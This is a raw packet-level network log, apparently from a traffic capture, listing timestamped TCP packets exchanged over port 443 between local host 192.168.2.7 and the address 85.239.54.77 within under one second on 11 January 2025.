Jan 11, 2025 09:26:39.271121979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.271135092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.271159887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.271173954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.271181107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.271207094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.271215916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.271234989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.271240950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.271264076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.271290064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.272104979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.272125006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.272186041 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.272186995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.272201061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.272217035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.272218943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.272242069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.272268057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.272273064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.272352934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.273293972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.273323059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.273367882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.273375988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.273399115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.273412943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.276534081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.291811943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.291857004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.291973114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.291995049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.292042017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.292331934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.292357922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.292390108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.292397022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.292442083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.293023109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.293057919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.293061972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.293075085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.293080091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.293116093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.293569088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.293593884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.293621063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.293627977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.293656111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.293663025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.294111013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.294132948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.294164896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.294171095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.294197083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.294209003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.294652939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.294675112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.294724941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.294732094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.294775009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.295310020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.295351028 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.295420885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.295427084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.295464039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.299171925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.357558966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.357601881 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.357722044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.357743979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.357795000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.378704071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.378739119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.378833055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.378861904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.378915071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.379237890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.379259109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.379386902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.379393101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.379435062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.379614115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.379631996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.379676104 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.379683018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.379703999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.379714012 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.380368948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.380392075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.380441904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.380450964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.380470991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.380494118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.381150007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.381165981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.381258965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.381264925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.381290913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.381306887 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.381314039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.381328106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.381336927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.381371021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.382102966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.382117033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.382160902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.382172108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.382203102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.384844065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.444339991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.444366932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.444430113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.444458961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.444509029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.465537071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.465578079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.465604067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.465615034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.465672970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.465992928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.466012955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.466039896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.466047049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.466073036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.466089010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.466742039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.466764927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.466800928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.466805935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.466829062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.466850996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.467287064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.467327118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.467341900 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.467350006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.467375994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.467387915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.467928886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.467952013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.467983961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.467988968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.468017101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.468027115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.468034983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.468044043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.468066931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.468074083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.468178988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.468889952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.468911886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.468936920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.468944073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.468976021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.468981981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.472091913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.531203985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.531235933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.531285048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.531321049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.531342030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.531353951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.552329063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.552360058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.552401066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.552429914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.552443981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.552468061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.552772999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.552795887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.552824974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.552830935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.552859068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.552877903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.553214073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.553236961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.553271055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.553276062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.553309917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.553328037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.553563118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.553585052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.553612947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.553620100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.553642035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.553664923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.554049015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.554079056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.554105043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.554111958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.554136038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.554157972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.554605007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.554627895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.554656029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.554663897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.554687023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.554708958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.555097103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.555120945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.555147886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.555155039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.555179119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.555200100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.560906887 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.617961884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.617996931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.618041992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.618062019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.618077040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.618093967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.639169931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.639178991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.639240026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.639250040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.639296055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.639710903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.639739037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.639772892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.639786959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.639815092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.639836073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.640239954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.640261889 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.640294075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.640301943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.640336037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.640358925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.640965939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.640996933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.641026020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.641032934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.641072035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.641072035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.641208887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.641236067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.641267061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.641273975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.641299009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.641316891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.641942024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.641967058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.641994953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.642003059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.642026901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.642046928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.642510891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.642538071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.642565966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.642573118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.642591000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.642611027 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.646275997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.704767942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.704802990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.704848051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.704874992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.704898119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.704921961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.725801945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.725837946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.725894928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.725920916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.725934982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.725965977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.726305962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.726326942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.726357937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.726363897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.726387024 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.726409912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.726757050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.726785898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.726818085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.726824999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.726854086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.726874113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.727159977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.727180958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.727210999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.727217913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.727247953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.727263927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.727672100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.727693081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.727732897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.727741957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.727768898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.727786064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.728239059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.728265047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.728291988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.728298903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.728327990 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.728338957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.728467941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.728490114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.728513002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.728524923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.728545904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.728569031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.732362032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.791654110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.791687012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.791866064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.791894913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.791946888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.812788963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.812824965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.813112974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.813148022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.813179970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.813196898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.813236952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.813620090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.813640118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.813671112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.813684940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.813697100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.814172029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.814193964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.814218044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.814229012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.814246893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.814555883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.814574957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.814609051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.814624071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.814636946 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.815325975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.815349102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.815373898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.815393925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.815408945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.815417051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.815433979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.815466881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.815475941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.815490961 CET	49941	443	192.168.2.7	85.239.54.77
